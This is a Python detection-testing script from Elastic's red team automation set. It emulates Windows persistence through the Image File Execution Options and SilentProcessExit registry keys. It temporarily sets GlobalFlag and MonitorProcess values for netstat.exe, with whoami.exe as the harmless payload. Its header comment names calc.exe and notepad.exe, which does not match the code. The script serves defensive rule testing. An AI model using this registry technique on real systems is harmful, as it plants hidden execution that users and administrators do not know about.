eric-forte-elastic
42 lines
1.6 KiB
Python
42 lines
1.6 KiB
Python
# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
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# or more contributor license agreements. Licensed under the Elastic License
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# 2.0; you may not use this file except in compliance with the Elastic License
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# 2.0.
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# Name: Persistence using GlobalFlags
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# RTA: globalflags.py
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# ATT&CK: T1183
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# Description: Uses GlobalFlags option in Image File Execution Options to silently execute calc.exe after the monitored
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# process (notepad.exe) is closed.
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from . import common
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from . import RtaMetadata
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metadata = RtaMetadata(
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uuid="e09d904a-f3bb-4d36-8eb8-8c234812807c",
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platforms=["windows"],
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endpoint=[],
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siem=[{"rule_id": "6839c821-011d-43bd-bd5b-acff00257226", "rule_name": "Image File Execution Options Injection"}],
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techniques=["T1546"],
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)
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@common.requires_os(*metadata.platforms)
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def main():
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common.log("Setting up persistence using Globalflags")
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ifeo_subkey = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\netstat.exe"
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spe_subkey = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\netstat.exe"
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with common.temporary_reg(common.HKLM, ifeo_subkey, "GlobalFlag", 512, common.DWORD), common.temporary_reg(
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common.HKLM, spe_subkey, "ReportingMode", 1, common.DWORD
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), common.temporary_reg(common.HKLM, spe_subkey, "MonitorProcess", "C:\\Windows\\system32\\whoami.exe"):
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common.log("Opening and closing netstat")
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common.execute(["whoami"], shell=True)
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common.execute(["taskkill", "/F", "/IM", "netstat.exe"])
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if __name__ == "__main__":
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exit(main())
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